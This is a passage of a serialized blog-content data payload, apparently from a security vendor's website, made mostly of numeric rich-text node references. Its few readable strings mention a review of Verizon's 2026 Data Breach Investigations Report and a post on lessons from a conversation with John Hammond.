Type":889},{"uri":6528},[18523],{"data":18524,"marks":18525,"value":6533,"nodeType":865},{},[],{"data":18527,"marks":18528,"value":6537,"nodeType":865},{},[],{"data":18530,"content":18531,"nodeType":889},{"uri":6540},[18532],{"data":18533,"marks":18534,"value":6545,"nodeType":865},{},[],{"data":18536,"marks":18537,"value":6549,"nodeType":865},{},[],{"data":18539,"content":18542,"nodeType":912},{"target":18540},{"sys":18541},{"id":6554,"type":909,"linkType":910},[],{"data":18544,"content":18545,"nodeType":866},{},[18546],{"data":18547,"marks":18548,"value":6562,"nodeType":865},{},[],{"data":18550,"content":18551,"nodeType":866},{},[18552,18555,18561],{"data":18553,"marks":18554,"value":6569,"nodeType":865},{},[],{"data":18556,"content":18557,"nodeType":889},{"uri":6572},[18558],{"data":18559,"marks":18560,"value":6577,"nodeType":865},{},[],{"data":18562,"marks":18563,"value":6581,"nodeType":865},{},[],{"data":18565,"content":18566,"nodeType":866},{},[18567,18570,18574],{"data":18568,"marks":18569,"value":6588,"nodeType":865},{},[],{"data":18571,"marks":18572,"value":6593,"nodeType":865},{},[18573],{"type":926},{"data":18575,"marks":18576,"value":1615,"nodeType":865},{},[],{"data":18578,"content":18579,"nodeType":972},{},[],{"data":18581,"content":18582,"nodeType":981},{},[18583],{"data":18584,"marks":18585,"value":6607,"nodeType":865},{},[18586],{"type":926},{"data":18588,"content":18589,"nodeType":866},{},[18590,18593,18597],{"data":18591,"marks":18592,"value":6614,"nodeType":865},{},[],{"data":18594,"marks":18595,"value":6619,"nodeType":865},{},[18596],{"type":898},{"data":18598,"marks":18599,"value":1615,"nodeType":865},{},[],{"data":18601,"content":18602,"nodeType":866},{},[18603,18606,18613],{"data":18604,"marks":18605,"value":6629,"nodeType":865},{},[],{"data":18607,"content":18608,"nodeType":889},{"uri":6347},[18609],{"data":18610,"marks":18611,"value":6637,"nodeType":865},{},[18612],{"type":943},{"data":18614,"marks":18615,"value":6641,"nodeType":865},{},[],{"data":18617,"content":18618,"nodeType":866},{},[18619,18622,18626,18629,18633],{"data":18620,"marks":18621,"value":6648,"nodeType":865},{},[],{"data":18623,"marks":18624,"value":6653,"nodeType":865},{},[18625],{"type":926},{"data":18627,"marks":18628,"value":6657,"nodeType":865},{},[],{"data":18630,"marks":18631,"value":6662,"nodeType":865},{},[18632],{"type":898},{"data":18634,"marks":18635,"value":6666,"nodeType":865},{},[],{"data":18637,"content":18640,"nodeType":912},{"target":18638},{"sys":18639},{"id":6671,"type":909,"linkType":910},[],{"data":18642,"content":18643,"nodeType":866},{},[18644,18647,18651],{"data":18645,"marks":18646,"value":6679,"nodeType":865},{},[],{"data":18648,"marks":18649,"value":6684,"nodeType":865},{},[18650],{"type":926},{"data":18652,"marks":18653,"value":6688,"nodeType":865},{},[],{"data":18655,"content":18656,"nodeType":866},{},[18657,18660,18666,18669,18675],{"data":18658,"marks":18659,"value":6695,"nodeType":865},{},[],{"data":18661,"content":18662,"nodeType":889},{"uri":6698},[18663],{"data":18664,"marks":18665,"value":6703,"nodeType":865},{},[],{"data":18667,"marks":18668,"value":6707,"nodeType":865},{},[],{"data":18670,"content":18671,"nodeType":889},{"uri":6710},[18672],{"data":18673,"marks":18674,"value":6715,"nodeType":865},{},[],{"data":18676,"marks":18677,"value":6719,"nodeType":865},{},[],{"data":18679,"content":18682,"nodeType":912},{"target":18680},{"sys":18681},{"id":6724,"type":909,"linkType":910},[],{"data":18684,"content":18687,"nodeType":912},{"target":18685},{"sys":18686},{"id":6730,"type":909,"linkType":910},[],{"data":18689,"content":18690,"nodeType":866},{},[18691,18694,18698],{"data":18692,"marks":18693,"value":6738,"nodeType":865},{},[],{"data":18695,"marks":18696,"value":6743,"nodeType":865},{},[18697],{"type":926},{"data":18699,"marks":18700,"value":6747,"nodeType":865},{},[],{"data":18702,"content":18703,"nodeType":972},{},[],{"data":18705,"content":18706,"nodeType":981},{},[18707],{"data":18708,"marks":18709,"value":6758,"nodeType":865},{},[18710],{"type":926},{"data":18712,"content":18713,"nodeType":866},{},[18714],{"data":18715,"marks":18716,"value":6765,"nodeType":865},{},[],{"data":18718,"content":18719,"nodeType":1317},{},[18720],{"data":18721,"marks":18722,"value":6773,"nodeType":865},{},[18723],{"type":926},{"data":18725,"content":18726,"nodeType":866},{},[18727,18730,18737],{"data":18728,"marks":18729,"value":21,"nodeType":865},{},[],{"data":18731,"content":18732,"nodeType":889},{"uri":3841},[18733],{"data":18734,"marks":18735,"value":6787,"nodeType":865},{},[18736],{"type":943},{"data":18738,"marks":18739,"value":6791,"nodeType":865},{},[],{"data":18741,"content":18742,"nodeType":866},{},[18743,18746,18750],{"data":18744,"marks":18745,"value":6798,"nodeType":865},{},[],{"data":18747,"marks":18748,"value":6803,"nodeType":865},{},[18749],{"type":926},{"data":18751,"marks":18752,"value":6807,"nodeType":865},{},[],{"data":18754,"content":18755,"nodeType":1317},{},[18756],{"data":18757,"marks":18758,"value":288,"nodeType":865},{},[18759],{"type":926},{"data":18761,"content":18762,"nodeType":866},{},[18763,18767,18775,18779],{"data":18764,"marks":18765,"value":21,"nodeType":865},{},[18766],{"type":926},{"data":18768,"content":18769,"nodeType":889},{"uri":3720},[18770],{"data":18771,"marks":18772,"value":6830,"nodeType":865},{},[18773,18774],{"type":943},{"type":926},{"data":18776,"marks":18777,"value":6835,"nodeType":865},{},[18778],{"type":926},{"data":18780,"marks":18781,"value":6839,"nodeType":865},{},[],{"data":18783,"content":18784,"nodeType":866},{},[18785],{"data":18786,"marks":18787,"value":6846,"nodeType":865},{},[],{"data":18789,"content":18790,"nodeType":1317},{},[18791],{"data":18792,"marks":18793,"value":6854,"nodeType":865},{},[18794],{"type":926},{"data":18796,"content":18797,"nodeType":866},{},[18798,18801,18807,18810,18816],{"data":18799,"marks":18800,"value":6861,"nodeType":865},{},[],{"data":18802,"content":18803,"nodeType":889},{"uri":6864},[18804],{"data":18805,"marks":18806,"value":6869,"nodeType":865},{},[],{"data":18808,"marks":18809,"value":6873,"nodeType":865},{},[],{"data":18811,"content":18812,"nodeType":889},{"uri":1929},[18813],{"data":18814,"marks":18815,"value":6880,"nodeType":865},{},[],{"data":18817,"marks":18818,"value":6884,"nodeType":865},{},[],{"data":18820,"content":18821,"nodeType":866},{},[18822],{"data":18823,"marks":18824,"value":6891,"nodeType":865},{},[],{"data":18826,"content":18827,"nodeType":1317},{},[18828],{"data":18829,"marks":18830,"value":6899,"nodeType":865},{},[18831],{"type":926},{"data":18833,"content":18834,"nodeType":866},{},[18835],{"data":18836,"marks":18837,"value":6906,"nodeType":865},{},[],{"data":18839,"content":18842,"nodeType":912},{"target":18840},{"sys":18841},{"id":6911,"type":909,"linkType":910},[],{"data":18844,"content":18845,"nodeType":972},{},[],{"data":18847,"content":18848,"nodeType":981},{},[18849],{"data":18850,"marks":18851,"value":6923,"nodeType":865},{},[18852],{"type":926},{"data":18854,"content":18855,"nodeType":866},{},[18856],{"data":18857,"marks":18858,"value":6930,"nodeType":865},{},[],{"data":18860,"content":18861,"nodeType":866},{},[18862],{"data":18863,"marks":18864,"value":6938,"nodeType":865},{},[18865],{"type":926},{"data":18867,"content":18870,"nodeType":912},{"target":18868},{"sys":18869},{"id":6943,"type":909,"linkType":910},[],{"data":18872,"content":18873,"nodeType":972},{},[],{"data":18875,"content":18876,"nodeType":1317},{},[18877],{"data":18878,"marks":18879,"value":6955,"nodeType":865},{},[18880],{"type":926},{"data":18882,"content":18883,"nodeType":866},{},[18884],{"data":18885,"marks":18886,"value":6962,"nodeType":865},{},[],{"data":18888,"content":18889,"nodeType":866},{},[18890],{"data":18891,"marks":18892,"value":6969,"nodeType":865},{},[],{"data":18894,"content":18895,"nodeType":866},{},[18896],{"data":18897,"marks":18898,"value":6976,"nodeType":865},{},[],{"data":18900,"content":18901,"nodeType":866},{},[18902,18906],{"data":18903,"marks":18904,"value":6984,"nodeType":865},{},[18905],{"type":926},{"data":18907,"marks":18908,"value":6988,"nodeType":865},{},[],{"data":18910,"content":18911,"nodeType":972},{},[],{"data":18913,"content":18914,"nodeType":866},{},[18915],{"data":18916,"marks":18917,"value":4591,"nodeType":865},{},[],{"data":18919,"content":18920,"nodeType":866},{},[18921,18924,18930],{"data":18922,"marks":18923,"value":7004,"nodeType":865},{},[],{"data":18925,"content":18926,"nodeType":889},{"uri":5477},[18927],{"data":18928,"marks":18929,"value":7011,"nodeType":865},{},[],{"data":18931,"marks":18932,"value":2302,"nodeType":865},{},[],{"items":18934},[18935,18937],{"sys":18936,"name":2314},{"id":2313},{"sys":18938,"name":342},{"id":4642},{"items":18940},[18941],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":18942},{"url":853},"verizon-dbir-2026-review","blog/verizon-dbir-2026-review",{"json":18946},{"data":18947,"content":18948,"nodeType":1382},{},[18949],{"data":18950,"content":18951,"nodeType":866},{},[18952],{"data":18953,"marks":18954,"value":18955,"nodeType":865},{},[],"Verizon's 2026 Data Breach Investigations Report landed this week with the largest dataset in the report's 19-year history — more than 22,000 confirmed breaches across 145 countries, nearly double last year's count.","What we can learn from 2026's installment of the Verizon Data Breach Investigations Report.",{"id":18958,"publishedAt":18959},"7sZs2lHCTN8oYc2OIGCIQG","2026-08-12T12:00:55.865Z",{"items":18961},[18962,18964],{"sys":18963,"name":297},{"id":2310},{"sys":18965,"name":7796},{"id":7795},{"items":18967},[18968,18970,18972,18974,18976,18978,18980,18982,18984,18986,18988,18990,18992,18994,18996,18998,19000,19002,19004,19006,19008,19010,19012,19014],{"sys":18969,"name":279,"slug":280,"tier":31},{"id":276},{"sys":18971,"name":413,"slug":414,"tier":31},{"id":410},{"sys":18973,"name":642,"slug":643,"tier":31},{"id":639},{"sys":18975,"name":519,"slug":520,"tier":31},{"id":516},{"sys":18977,"name":297,"slug":298,"tier":31},{"id":294},{"sys":18979,"name":235,"slug":236,"tier":31},{"id":232},{"sys":18981,"name":422,"slug":423,"tier":45},{"id":419},{"sys":18983,"name":315,"slug":316,"tier":45},{"id":312},{"sys":18985,"name":324,"slug":325,"tier":45},{"id":321},{"sys":18987,"name":580,"slug":581,"tier":45},{"id":577},{"sys":18989,"name":537,"slug":538,"tier":45},{"id":534},{"sys":18991,"name":633,"slug":634,"tier":45},{"id":630},{"sys":18993,"name":261,"slug":262,"tier":45},{"id":258},{"sys":18995,"name":475,"slug":476,"tier":45},{"id":472},{"sys":18997,"name":333,"slug":334,"tier":45},{"id":330},{"sys":18999,"name":457,"slug":458,"tier":45},{"id":454},{"sys":19001,"name":288,"slug":289,"tier":45},{"id":285},{"sys":19003,"name":252,"slug":253,"tier":45},{"id":249},{"sys":19005,"name":607,"slug":608,"tier":45},{"id":604},{"sys":19007,"name":650,"slug":651,"tier":45},{"id":647},{"sys":19009,"name":244,"slug":245,"tier":45},{"id":241},{"sys":19011,"name":368,"slug":369,"tier":45},{"id":365},{"sys":19013,"name":571,"slug":572,"tier":45},{"id":568},{"sys":19015,"name":484,"slug":485,"tier":45},{"id":481},"hcNrtVGANdYvnes1Z8X1g9b6b_dm694k5qOhLd1GfaI",{"id":19018,"title":14669,"authorsCollection":19019,"content":19023,"extension":228,"faqItemsCollection":19535,"faqTitle":59,"featured":6,"hashTags":59,"meta":19537,"metaTitle":19538,"ogImage":59,"postType":1424,"publishedDate":14671,"relatedBlogPostsCollection":19539,"slug":14672,"stem":23812,"subtitle":59,"summary":23813,"synopsis":14670,"sys":23824,"tagsCollection":23826,"topicsCollection":23832,"__hash__":23878},"blog/blog/7-things-we-learned-from-john-hammond.json",{"items":19020},[19021],{"fullName":7867,"firstName":7868,"jobTitle":7869,"socialLinks":59,"profilePicture":19022},{"url":7871},{"json":19024,"links":19527},{"data":19025,"content":19026,"nodeType":1382},{},[19027,19043,19048,19051,19058,19100,19109,19112,19119,19135,19141,19161,19176,19179,19186,19201,19207,19213,19222,19225,19232,19257,19272,19275,19282,19298,19304,19310,19313,19320,19336,19342,19357,19366,19372,19375,19382,19397,19403,19409,19419,19428,19444,19447,19454,19460,19502],{"data":19028,"content":19029,"nodeType":866},{},[19030,19033,19040],{"data":19031,"marks":19032,"value":14100,"nodeType":865},{},[],{"data":19034,"content":19035,"nodeType":889},{"uri":14103},[19036],{"data":19037,"marks":19038,"value":14109,"nodeType":865},{},[19039],{"type":943},{"data":19041,"marks":19042,"value":14113,"nodeType":865},{},[],{"data":19044,"content":19047,"nodeType":912},{"target":19045},{"sys":19046},{"id":14118,"type":909,"linkType":910},[],{"data":19049,"content":19050,"nodeType":972},{},[],{"data":19052,"content":19053,"nodeType":981},{},[19054],{"data":19055,"marks":19056,"value":14130,"nodeType":865},{},[19057],{"type":926},{"data":19059,"content":19060,"nodeType":866},{},[19061,19064,19070,19073,19079,19082,19088,19091,19097],{"data":19062,"marks":19063,"value":14137,"nodeType":865},{},[],{"data":19065,"content":19066,"nodeType":889},{"uri":4813},[19067],{"data":19068,"marks":19069,"value":14144,"nodeType":865},{},[],{"data":19071,"marks":19072,"value":14148,"nodeType":865},{},[],{"data":19074,"content":19075,"nodeType":889},{"uri":6347},[19076],{"data":19077,"marks":19078,"value":14155,"nodeType":865},{},[],{"data":19080,"marks":19081,"value":14159,"nodeType":865},{},[],{"data":19083,"content":19084,"nodeType":889},{"uri":1951},[19085],{"data":19086,"marks":19087,"value":14166,"nodeType":865},{},[],{"data":19089,"marks":19090,"value":14170,"nodeType":865},{},[],{"data":19092,"content":19093,"nodeType":889},{"uri":5739},[19094],{"data":19095,"marks":19096,"value":14177,"nodeType":865},{},[],{"data":19098,"marks":19099,"value":1615,"nodeType":865},{},[],{"data":19101,"content":19102,"nodeType":7584},{},[19103],{"data":19104,"content":19105,"nodeType":866},{},[19106],{"data":19107,"marks":19108,"value":14190,"nodeType":865},{},[],{"data":19110,"content":19111,"nodeType":972},{},[],{"data":19113,"content":19114,"nodeType":981},{},[19115],{"data":19116,"marks":19117,"value":14201,"nodeType":865},{},[19118],{"type":926},{"data":19120,"content":19121,"nodeType":866},{},[19122,19125,19132],{"data":19123,"marks":19124,"value":14208,"nodeType":865},{},[],{"data":19126,"content":19127,"nodeType":889},{"uri":4813},[19128],{"data":19129,"marks":19130,"value":14216,"nodeType":865},{},[19131],{"type":943},{"data":19133,"marks":19134,"value":14220,"nodeType":865},{},[],{"data":19136,"content":19137,"nodeType":866},{},[19138],{"data":19139,"marks":19140,"value":14227,"nodeType":865},{},[],{"data":19142,"content":19143,"nodeType":866},{},[19144,19148,19151,19158],{"data":19145,"marks":19146,"value":14235,"nodeType":865},{},[19147],{"type":926},{"data":19149,"marks":19150,"value":14239,"nodeType":865},{},[],{"data":19152,"content":19153,"nodeType":889},{"uri":8862},[19154],{"data":19155,"marks":19156,"value":14247,"nodeType":865},{},[19157],{"type":943},{"data":19159,"marks":19160,"value":14251,"nodeType":865},{},[],{"data":19162,"content":19163,"nodeType":866},{},[19164,19167,19173],{"data":19165,"marks":19166,"value":14258,"nodeType":865},{},[],{"data":19168,"content":19169,"nodeType":889},{"uri":1256},[19170],{"data":19171,"marks":19172,"value":14265,"nodeType":865},{},[],{"data":19174,"marks":19175,"value":14269,"nodeType":865},{},[],{"data":19177,"content":19178,"nodeType":972},{},[],{"data":19180,"content":19181,"nodeType":981},{},[19182],{"data":19183,"marks":19184,"value":14280,"nodeType":865},{},[19185],{"type":926},{"data":19187,"content":19188,"nodeType":866},{},[19189,19192,19198],{"data":19190,"marks":19191,"value":14287,"nodeType":865},{},[],{"data":19193,"content":19194,"nodeType":889},{"uri":951},[19195],{"data":19196,"marks":19197,"value":14294,"nodeType":865},{},[],{"data":19199,"marks":19200,"value":14298,"nodeType":865},{},[],{"data":19202,"content":19203,"nodeType":866},{},[19204],{"data":19205,"marks":19206,"value":14305,"nodeType":865},{},[],{"data":19208,"content":19209,"nodeType":866},{},[19210],{"data":19211,"marks":19212,"value":14312,"nodeType":865},{},[],{"data":19214,"content":19215,"nodeType":7584},{},[19216],{"data":19217,"content":19218,"nodeType":866},{},[19219],{"data":19220,"marks":19221,"value":14322,"nodeType":865},{},[],{"data":19223,"content":19224,"nodeType":972},{},[],{"data":19226,"content":19227,"nodeType":981},{},[19228],{"data":19229,"marks":19230,"value":14333,"nodeType":865},{},[19231],{"type":926},{"data":19233,"content":19234,"nodeType":866},{},[19235,19238,19245,19248,19254],{"data":19236,"marks":19237,"value":14340,"nodeType":865},{},[],{"data":19239,"content":19240,"nodeType":889},{"uri":5409},[19241],{"data":19242,"marks":19243,"value":14348,"nodeType":865},{},[19244],{"type":943},{"data":19246,"marks":19247,"value":14352,"nodeType":865},{},[],{"data":19249,"content":19250,"nodeType":889},{"uri":14355},[19251],{"data":19252,"marks":19253,"value":14360,"nodeType":865},{},[],{"data":19255,"marks":19256,"value":14364,"nodeType":865},{},[],{"data":19258,"content":19259,"nodeType":866},{},[19260,19263,19269],{"data":19261,"marks":19262,"value":14371,"nodeType":865},{},[],{"data":19264,"content":19265,"nodeType":889},{"uri":5409},[19266],{"data":19267,"marks":19268,"value":14378,"nodeType":865},{},[],{"data":19270,"marks":19271,"value":14382,"nodeType":865},{},[],{"data":19273,"content":19274,"nodeType":972},{},[],{"data":19276,"content":19277,"nodeType":981},{},[19278],{"data":19279,"marks":19280,"value":14393,"nodeType":865},{},[19281],{"type":926},{"data":19283,"content":19284,"nodeType":866},{},[19285,19288,19295],{"data":19286,"marks":19287,"value":21,"nodeType":865},{},[],{"data":19289,"content":19290,"nodeType":889},{"uri":7712},[19291],{"data":19292,"marks":19293,"value":8158,"nodeType":865},{},[19294],{"type":943},{"data":19296,"marks":19297,"value":14410,"nodeType":865},{},[],{"data":19299,"content":19300,"nodeType":866},{},[19301],{"data":19302,"marks":19303,"value":14417,"nodeType":865},{},[],{"data":19305,"content":19306,"nodeType":866},{},[19307],{"data":19308,"marks":19309,"value":14424,"nodeType":865},{},[],{"data":19311,"content":19312,"nodeType":972},{},[],{"data":19314,"content":19315,"nodeType":981},{},[19316],{"data":19317,"marks":19318,"value":14435,"nodeType":865},{},[19319],{"type":926},{"data":19321,"content":19322,"nodeType":866},{},[19323,19326,19333],{"data":19324,"marks":19325,"value":21,"nodeType":865},{},[],{"data":19327,"content":19328,"nodeType":889},{"uri":7472},[19329],{"data":19330,"marks":19331,"value":7465,"nodeType":865},{},[19332],{"type":943},{"data":19334,"marks":19335,"value":14452,"nodeType":865},{},[],{"data":19337,"content":19338,"nodeType":866},{},[19339],{"data":19340,"marks":19341,"value":14459,"nodeType":865},{},[],{"data":19343,"content":19344,"nodeType":866},{},[19345,19348,19354],{"data":19346,"marks":19347,"value":14466,"nodeType":865},{},[],{"data":19349,"content":19350,"nodeType":889},{"uri":5739},[19351],{"data":19352,"marks":19353,"value":14473,"nodeType":865},{},[],{"data":19355,"marks":19356,"value":14477,"nodeType":865},{},[],{"data":19358,"content":19359,"nodeType":7584},{},[19360],{"data":19361,"content":19362,"nodeType":866},{},[19363],{"data":19364,"marks":19365,"value":14487,"nodeType":865},{},[],{"data":19367,"content":19368,"nodeType":866},{},[19369],{"data":19370,"marks":19371,"value":14494,"nodeType":865},{},[],{"data":19373,"content":19374,"nodeType":972},{},[],{"data":19376,"content":19377,"nodeType":981},{},[19378],{"data":19379,"marks":19380,"value":14505,"nodeType":865},{},[19381],{"type":926},{"data":19383,"content":19384,"nodeType":866},{},[19385,19388,19394],{"data":19386,"marks":19387,"value":14512,"nodeType":865},{},[],{"data":19389,"content":19390,"nodeType":889},{"uri":1951},[19391],{"data":19392,"marks":19393,"value":8061,"nodeType":865},{},[],{"data":19395,"marks":19396,"value":14251,"nodeType":865},{},[],{"data":19398,"content":19399,"nodeType":866},{},[19400],{"data":19401,"marks":19402,"value":14528,"nodeType":865},{},[],{"data":19404,"content":19405,"nodeType":866},{},[19406],{"data":19407,"marks":19408,"value":14535,"nodeType":865},{},[],{"data":19410,"content":19411,"nodeType":866},{},[19412,19416],{"data":19413,"marks":19414,"value":14543,"nodeType":865},{},[19415],{"type":926},{"data":19417,"marks":19418,"value":14547,"nodeType":865},{},[],{"data":19420,"content":19421,"nodeType":7584},{},[19422],{"data":19423,"content":19424,"nodeType":866},{},[19425],{"data":19426,"marks":19427,"value":14557,"nodeType":865},{},[],{"data":19429,"content":19430,"nodeType":866},{},[19431,19434,19441],{"data":19432,"marks":19433,"value":14564,"nodeType":865},{},[],{"data":19435,"content":19436,"nodeType":889},{"uri":3820},[19437],{"data":19438,"marks":19439,"value":3825,"nodeType":865},{},[19440],{"type":943},{"data":19442,"marks":19443,"value":1615,"nodeType":865},{},[],{"data":19445,"content":19446,"nodeType":972},{},[],{"data":19448,"content":19449,"nodeType":981},{},[19450],{"data":19451,"marks":19452,"value":14585,"nodeType":865},{},[19453],{"type":926},{"data":19455,"content":19456,"nodeType":866},{},[19457],{"data":19458,"marks":19459,"value":14592,"nodeType":865},{},[],{"data":19461,"content":19462,"nodeType":866},{},[19463,19466,19472,19475,19481,19484,19490,19493,19499],{"data":19464,"marks":19465,"value":14599,"nodeType":865},{},[],{"data":19467,"content":19468,"nodeType":889},{"uri":1256},[19469],{"data":19470,"marks":19471,"value":261,"nodeType":865},{},[],{"data":19473,"marks":19474,"value":14216,"nodeType":865},{},[],{"data":19476,"content":19477,"nodeType":889},{"uri":5409},[19478],{"data":19479,"marks":19480,"value":14615,"nodeType":865},{},[],{"data":19482,"marks":19483,"value":14216,"nodeType":865},{},[],{"data":19485,"content":19486,"nodeType":889},{"uri":7472},[19487],{"data":19488,"marks":19489,"value":14625,"nodeType":865},{},[],{"data":19491,"marks":19492,"value":14629,"nodeType":865},{},[],{"data":19494,"content":19495,"nodeType":889},{"uri":1951},[19496],{"data":19497,"marks":19498,"value":14636,"nodeType":865},{},[],{"data":19500,"marks":19501,"value":14640,"nodeType":865},{},[],{"data":19503,"content":19504,"nodeType":866},{},[19505,19508,19515,19518,19524],{"data":19506,"marks":19507,"value":21,"nodeType":865},{},[],{"data":19509,"content":19510,"nodeType":889},{"uri":14649},[19511],{"data":19512,"marks":19513,"value":14055,"nodeType":865},{},[19514],{"type":943},{"data":19516,"marks":19517,"value":14658,"nodeType":865},{},[],{"data":19519,"content":19520,"nodeType":889},{"uri":1372},[19521],{"data":19522,"marks":19523,"value":14066,"nodeType":865},{},[],{"data":19525,"marks":19526,"value":14668,"nodeType":865},{},[],{"entries":19528},{"hyperlink":19529,"inline":19530,"block":19531},[],[],[19532],{"sys":19533,"__typename":1414,"type":1415,"ctaText":14078,"buttonLabel":19534,"buttonColour":1418,"buttonUrl":14649},{"id":14118},"Watch now",{"items":19536},[],{},"7 things we learned from our conversation with John Hammond",{"items":19540},[19541,22258,22979],{"__typename":1429,"sys":19542,"content":19543,"title":11409,"synopsis":11410,"hashTags":59,"publishedDate":11411,"slug":361,"tagsCollection":22248,"authorsCollection":22254},{"id":8411},{"json":19544},{"data":19545,"content":19546,"nodeType":1382},{},[19547,19552,19568,19584,19590,19595,19601,19607,19610,19617,19622,19688,19704,19709,19715,19811,19816,19819,19826,19832,19837,19840,19847,19883,19888,19894,19900,19906,19912,19928,19933,19938,19943,19948,19953,19958,19963,19969,20199,20202,20209,20336,20341,20344,20351,20382,20509,20514,20517,20524,20663,20668,20671,20678,20683,20817,20822,20827,20830,20837,20976,20981,20984,20991,21131,21136,21139,21146,21237,21242,21245,21252,21343,21348,21351,21358,21363,21490,21495,21498,21505,21552,21557,21560,21567,21700,21705,21708,21715,21842,21847,21850,21857,21867,21873,21878,21883,21889,21906,21919,21924,21927,21934,21941,21958,21975,21980,21986,21992,21999,22005,22011,22017,22024,22030,22075,22080,22083,22090,22096,22102,22139,22144,22150,22153,22160,22166,22172,22188,22193,22199,22206,22212],{"data":19548,"content":19551,"nodeType":912},{"target":19549},{"sys":19550},{"id":8420,"type":909,"linkType":910},[],{"data":19553,"content":19554,"nodeType":866},{},[19555,19558,19565],{"data":19556,"marks":19557,"value":8428,"nodeType":865},{},[],{"data":19559,"content":19560,"nodeType":889},{"uri":8431},[19561],{"data":19562,"marks":19563,"value":8437,"nodeType":865},{},[19564],{"type":943},{"data":19566,"marks":19567,"value":8441,"nodeType":865},{},[],{"data":19569,"content":19570,"nodeType":866},{},[19571,19574,19581],{"data":19572,"marks":19573,"value":21,"nodeType":865},{},[],{"data":19575,"content":19576,"nodeType":889},{"uri":8450},[19577],{"data":19578,"marks":19579,"value":360,"nodeType":865},{},[19580],{"type":943},{"data":19582,"marks":19583,"value":8459,"nodeType":865},{},[],{"data":19585,"content":19586,"nodeType":866},{},[19587],{"data":19588,"marks":19589,"value":8466,"nodeType":865},{},[],{"data":19591,"content":19594,"nodeType":912},{"target":19592},{"sys":19593},{"id":8471,"type":909,"linkType":910},[],{"data":19596,"content":19597,"nodeType":866},{},[19598],{"data":19599,"marks":19600,"value":8479,"nodeType":865},{},[],{"data":19602,"content":19603,"nodeType":866},{},[19604],{"data":19605,"marks":19606,"value":8486,"nodeType":865},{},[],{"data":19608,"content":19609,"nodeType":972},{},[],{"data":19611,"content":19612,"nodeType":981},{},[19613],{"data":19614,"marks":19615,"value":8497,"nodeType":865},{},[19616],{"type":926},{"data":19618,"content":19621,"nodeType":912},{"target":19619},{"sys":19620},{"id":8502,"type":909,"linkType":910},[],{"data":19623,"content":19624,"nodeType":866},{},[19625,19628,19635,19638,19645,19648,19655,19658,19665,19668,19675,19678,19685],{"data":19626,"marks":19627,"value":8510,"nodeType":865},{},[],{"data":19629,"content":19630,"nodeType":889},{"uri":8513},[19631],{"data":19632,"marks":19633,"value":8519,"nodeType":865},{},[19634],{"type":943},{"data":19636,"marks":19637,"value":8523,"nodeType":865},{},[],{"data":19639,"content":19640,"nodeType":889},{"uri":8526},[19641],{"data":19642,"marks":19643,"value":8532,"nodeType":865},{},[19644],{"type":943},{"data":19646,"marks":19647,"value":8536,"nodeType":865},{},[],{"data":19649,"content":19650,"nodeType":889},{"uri":8539},[19651],{"data":19652,"marks":19653,"value":8545,"nodeType":865},{},[19654],{"type":943},{"data":19656,"marks":19657,"value":8549,"nodeType":865},{},[],{"data":19659,"content":19660,"nodeType":889},{"uri":8552},[19661],{"data":19662,"marks":19663,"value":8558,"nodeType":865},{},[19664],{"type":943},{"data":19666,"marks":19667,"value":8562,"nodeType":865},{},[],{"data":19669,"content":19670,"nodeType":889},{"uri":8565},[19671],{"data":19672,"marks":19673,"value":8571,"nodeType":865},{},[19674],{"type":943},{"data":19676,"marks":19677,"value":4988,"nodeType":865},{},[],{"data":19679,"content":19680,"nodeType":889},{"uri":8577},[19681],{"data":19682,"marks":19683,"value":8583,"nodeType":865},{},[19684],{"type":943},{"data":19686,"marks":19687,"value":8587,"nodeType":865},{},[],{"data":19689,"content":19690,"nodeType":866},{},[19691,19694,19701],{"data":19692,"marks":19693,"value":8594,"nodeType":865},{},[],{"data":19695,"content":19696,"nodeType":889},{"uri":8597},[19697],{"data":19698,"marks":19699,"value":8603,"nodeType":865},{},[19700],{"type":943},{"data":19702,"marks":19703,"value":8607,"nodeType":865},{},[],{"data":19705,"content":19708,"nodeType":912},{"target":19706},{"sys":19707},{"id":8612,"type":909,"linkType":910},[],{"data":19710,"content":19711,"nodeType":866},{},[19712],{"data":19713,"marks":19714,"value":8620,"nodeType":865},{},[],{"data":19716,"content":19717,"nodeType":1616},{},[19718,19745,19763],{"data":19719,"content":19720,"nodeType":1570},{},[19721],{"data":19722,"content":19723,"nodeType":866},{},[19724,19727,19733,19736,19742],{"data":19725,"marks":19726,"value":8633,"nodeType":865},{},[],{"data":19728,"content":19729,"nodeType":889},{"uri":8636},[19730],{"data":19731,"marks":19732,"value":8641,"nodeType":865},{},[],{"data":19734,"marks":19735,"value":4988,"nodeType":865},{},[],{"data":19737,"content":19738,"nodeType":889},{"uri":8647},[19739],{"data":19740,"marks":19741,"value":8652,"nodeType":865},{},[],{"data":19743,"marks":19744,"value":8656,"nodeType":865},{},[],{"data":19746,"content":19747,"nodeType":1570},{},[19748],{"data":19749,"content":19750,"nodeType":866},{},[19751,19754,19760],{"data":19752,"marks":19753,"value":8666,"nodeType":865},{},[],{"data":19755,"content":19756,"nodeType":889},{"uri":4991},[19757],{"data":19758,"marks":19759,"value":8673,"nodeType":865},{},[],{"data":19761,"marks":19762,"value":8677,"nodeType":865},{},[],{"data":19764,"content":19765,"nodeType":1570},{},[19766],{"data":19767,"content":19768,"nodeType":866},{},[19769,19772,19778,19781,19788,19791,19798,19801,19808],{"data":19770,"marks":19771,"value":8687,"nodeType":865},{},[],{"data":19773,"content":19774,"nodeType":889},{"uri":8690},[19775],{"data":19776,"marks":19777,"value":8695,"nodeType":865},{},[],{"data":19779,"marks":19780,"value":8699,"nodeType":865},{},[],{"data":19782,"content":19783,"nodeType":889},{"uri":8702},[19784],{"data":19785,"marks":19786,"value":8708,"nodeType":865},{},[19787],{"type":943},{"data":19789,"marks":19790,"value":3476,"nodeType":865},{},[],{"data":19792,"content":19793,"nodeType":889},{"uri":8714},[19794],{"data":19795,"marks":19796,"value":8720,"nodeType":865},{},[19797],{"type":943},{"data":19799,"marks":19800,"value":8724,"nodeType":865},{},[],{"data":19802,"content":19803,"nodeType":889},{"uri":5817},[19804],{"data":19805,"marks":19806,"value":8732,"nodeType":865},{},[19807],{"type":943},{"data":19809,"marks":19810,"value":8736,"nodeType":865},{},[],{"data":19812,"content":19815,"nodeType":912},{"target":19813},{"sys":19814},{"id":8741,"type":909,"linkType":910},[],{"data":19817,"content":19818,"nodeType":972},{},[],{"data":19820,"content":19821,"nodeType":981},{},[19822],{"data":19823,"marks":19824,"value":8753,"nodeType":865},{},[19825],{"type":926},{"data":19827,"content":19828,"nodeType":866},{},[19829],{"data":19830,"marks":19831,"value":8760,"nodeType":865},{},[],{"data":19833,"content":19836,"nodeType":912},{"target":19834},{"sys":19835